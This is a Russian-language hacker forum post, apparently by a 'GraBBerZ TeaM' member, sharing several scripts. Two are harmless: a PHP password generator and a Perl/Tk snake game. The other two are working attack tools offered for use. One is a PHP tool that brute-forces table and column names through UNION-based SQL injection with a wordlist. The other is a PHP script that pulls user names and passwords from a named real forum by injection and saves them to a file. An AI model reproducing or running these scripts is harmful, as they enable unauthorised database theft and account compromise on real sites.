TeaM</font> </td> </tr> <tr><td width='15%' align='center'><b>Запрос</b></td> <td width='50%' align='right'><input name='man_zapros' type='text' value="http://crilaz.net.ru/ind.php?fuck=-1+union+select+1,2+from+|word|/*" size=40%> </td> <tr> <td rowspan=2 align=center> <b>Текст</b> </td> <td align=right> <input type='radio'checked name='text_tipe' value='error'> <input type='text' size='36' value='Ошибки' name='error_text'> </td> </tr> <tr> <td align=right> <input type='radio' name='text_tipe' value='good'> <input type='text' size='36' value='Нужный' name='good_text'> </td> </tr> <tr><td width='15%' align='center'><b>Словарь</b></td> <td width='50%' align='right'><input name='slovar' type='text' value='slovar.txt' size='40%'> </td></tr> <tr> <td colspan='2' align='right'> <input type='submit' value=' Подобрать... ' name='gogogogo'> </td> </tr> </table> </form> <? if($_POST["gogogogo"]){ $man_zapros = htmlspecialchars($_POST['man_zapros']); $arr_url = parse_url($_POST['man_zapros']); $host = $arr_url['host']; $brute_file = $_POST['slovar']; if($_POST['text_tipe']=="error"){ $need_text=$error_text;} else{ $need_text=$good_text;} $content = ""; $brute_arr=file("$brute_file") or die ("Невозможно открыть файл со словарем!"); foreach($brute_arr as $value){ $request=str_replace("|word|",$value,$man_zapros); $zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n"; $soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)"); fwrite($soket, $zapros); while(!feof($soket)){ $content.=fgets($soket);} if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){ echo "<br><font color='00ff00'>$request</font>";} else{ echo "<br><font color='ff0000'>$request</font>";} $content=""; $request=""; } } ?> (многие вещи не проверял, т.к. не люблю писать всякую чушь) Пример работы можно посмотреть сдесь: http://crilaz.grabberz.com/tools/SQL/criScP.php - колонки http://crilaz.grabberz.com/tools/SQL/criStB.php - таблицы
Генерация пароля PHP: <?php print "<body BGcolor=Black TEXT=White>"; print "<form action=$PHP_SELF method=post>\nСимволов: <INPUT NAME=\"lenght[]\"><br>"; print "</select>\n<br><input type=submit value=Сгенерировать>\n<br>"; print "</form>"; $symb = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*()_+#№-=<>`"; $count = strlen($symb)-1; if(empty($lenght)) {exit();} else { foreach ($lenght as $digit) print "<b>Ваш пароль:</b><br>"; for($i=0; $i <= ($digit-1); $i++) { $rand = rand(0, $count); print "<font face=verdana size=2 color=lime>$symb[$rand]"; } print "</font><HR width=100%>"; } ?>
Очень нужный и полезный каждому хэкиру скрипт =) : PHP: #!/usr/bin/perl use strict; use Tk; use Data::Dumper; my $mw = MainWindow->new(-title=>"Super Nibbles!"); my $score = 0; my $start = time; my $score_board = $mw->Label()->pack(); $score_board->configure(-text => "Score: $score"); my $board = $mw->Canvas(-width => 600, -height => 400)->pack(); $mw->bind("<Left>" , sub { set_direction(0) }); $mw->bind("<Right>", sub { set_direction(1) }); $mw->bind("<Up>" , sub { set_direction(2) }); $mw->bind("<Down>" , sub { set_direction(3) }); Tk::After->new($mw,150,'repeat', sub { move() } ); $board->createGrid(0,0,10,10 ); my $moves = [ [-1, 0], [ 1, 0], [ 0,-1], [ 0, 1] ]; my $food = [ ]; my $food_size = [1,1,1,1,1,3,5]; my $food_color = { 1 => 'green', 3 => 'yellow', 5 => 'purple' }; place_food() for (1..5); my $snake = { direction => 0, blocks =>[ [10,5], [11,5], [12,5] ], food => 0, }; sub update_score_board { $score_board->configure(-text => "Score: $score Time: " . (time - $start)); } sub set_direction { my $dir = shift; my $cur = $snake->{direction}; move() if ($dir == $cur); unless ( ($cur == 1 and $dir == 0) or ($cur == 0 and $dir == 1) or ($cur == 2 and $dir == 3) or ($cur == 3 and $dir == 2) ) { $snake->{new_direction} = $dir ; } } sub in_bounds { my ($x,$y) = @_; return 1 if ($x >= 0 and $x <= 59 and $y >= 0 and $y <= 39); return 0; } sub hit_food { my ($x,$y) = @_; for my $block (@$food) { if ($x == $block->[0] and $y == $block->[1]) { my $hits = $block->[2]; $block = undef; $food = [ grep { defined $_ } @$food ]; return $hits; } } return 0; } sub hit_snake { my ($x,$y) = @_; for my $block (@{$snake->{blocks}}) { if ($x == $block->[0] and $y == $block->[1]) { return 1; } } return 0; } sub place_food { my $x = undef; my $y; while ( !defined $x or !in_bounds($x,$y) or hit_food($x,$y) or hit_snake($x, $y) ) { $x = int(rand 60); $y = int(rand 40); } push @$food, [$x,$y, $food_size->[int(rand @$food_size)]]; } sub move { if (exists $snake->{new_direction}) { $snake->{direction} = $snake->{new_direction}; delete $snake->{new_direction}; } my ($xc,$yc) = @{$moves->[ $snake->{direction} ] }; my $last_pos = $snake->{blocks}->[0]; my $new_pos =[$last_pos->[0] + $xc, $last_pos->[1] + $yc]; if (in_bounds( @$new_pos ) && !hit_snake(@$new_pos) ) { unshift @{$snake->{blocks}}, $new_pos; my $hits = hit_food(@$new_pos); if ($hits) { warn "Place new food ($hits)"; place_food(); show_food(); $snake->{food} += $hits; $score += $hits; } if ($snake->{food} > 0) { $snake->{food}--; } else { pop @{$snake->{blocks}}; } show_snake(); } else { $mw->destroy; die "You died"; } update_score_board(); } sub show_snake { $board->delete('snake'); for my $block (@{$snake->{blocks}}) { block($board, $block->[0], $block->[1], 'red', 'snake'); } } sub show_food { $board->delete('food'); for my $block ( @$food ) { block($board, $block->[0], $block->[1], $food_color->{$block->[2]}, 'food'); } } show_snake(); show_food(); MainLoop; sub block { my ($canvas,$x,$y,$color, $tag) = @_; $color ||= 'red'; $canvas->createRectangle($x*10,$y*10,($x+1) * 10, ($y + 1) *10, -fill=> $color, -tags => [$tag]); }
надоели те, кто просит вытащить базу? Посылай их на... , тьфу ты сюда то есть. Снабдил обильным количеством коментов, так что не надо стучать и просить переделать для Вас, лучше почитайте книжечку, это полезнее. PHP: <? /************************************************* * 15.02.2007 22:00-23:12 * * супер пупер скрипт для вытаскивания баз * * * * * * (c)одед бай cRiLaZ * * (GraBBerZ TeaM) * * * * Приват в МИР!!!!!!!!! * * протева закрытых сорцов ;) * ************************************************/ /*конфиг*/ $host="forum.tomsk.ru"; #хост $how_much=4; # скока раз повторять цикл /*функция, пишущая в файл sql.txt*/ function input_into($text) { $a_file=fopen("./sql.txt","a+"); fputs($a_file,"$text"); fclose($a_file); } /*собсно цикл*/ for($q=1;$q<=$how_much;$q++) { /*сдесь все, что после хоста*/ $string_query="forum.php?a=24&user_id=-1+UNION+SELECT+1,CONCAT(CHAR(45,45,45),user_name,CHAR(45,45),user_pass,CHAR(45,45,45)),null,null,null,null,null,null,null,null+FROM+forum_user+WHERE+id=$q/* HTTP/1.0\n\n"; /*формируем запрос к серву, в разных скулях тут по разному нада поставить*/ $request ="GET http://".$host."/".$string_query." HTTP/1.1\n"; $request.="Host: ".$host."\n"; $request.="User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n"; $request.="Connection: keep-alive\n"; /*открываем сокет*/ $soket=fsockopen($host,80,$errno,$errstr,13); #13 ))) fwrite($soket,$request); #пишем в сокет while(!feof($soket)){ # $content.=fgets($soket);}#читаем fclose($soket); #закрываем /*регулярка*/ ereg("(---(.*)---)",$content,$infa); /*пишем в файл результаты*/ input_into("$q)".$infa[0]."\n"); /*обнуляем все, ваще то нада тока контент, но мы же примерные*/ $content=""; $params=""; $request=""; } /************************************************* * а это для тех, кто в доспехах ;) * в общем регулярка думаю все понятно * "---" - это начало и конец строки, * "(.*)" - это любые значения. * Т.е. в массив будет попадать все следующего вида * "---login:pwd:mail---", если канешна в пассе, логине и т.д. нету "---". * Ну наверно все, скуль для испытаний я взял у [sql]. * Просьба нащет орфографии не че не писать!!! * Пешу так спициальна по своим соображениям! ;) ************************************************/ ?>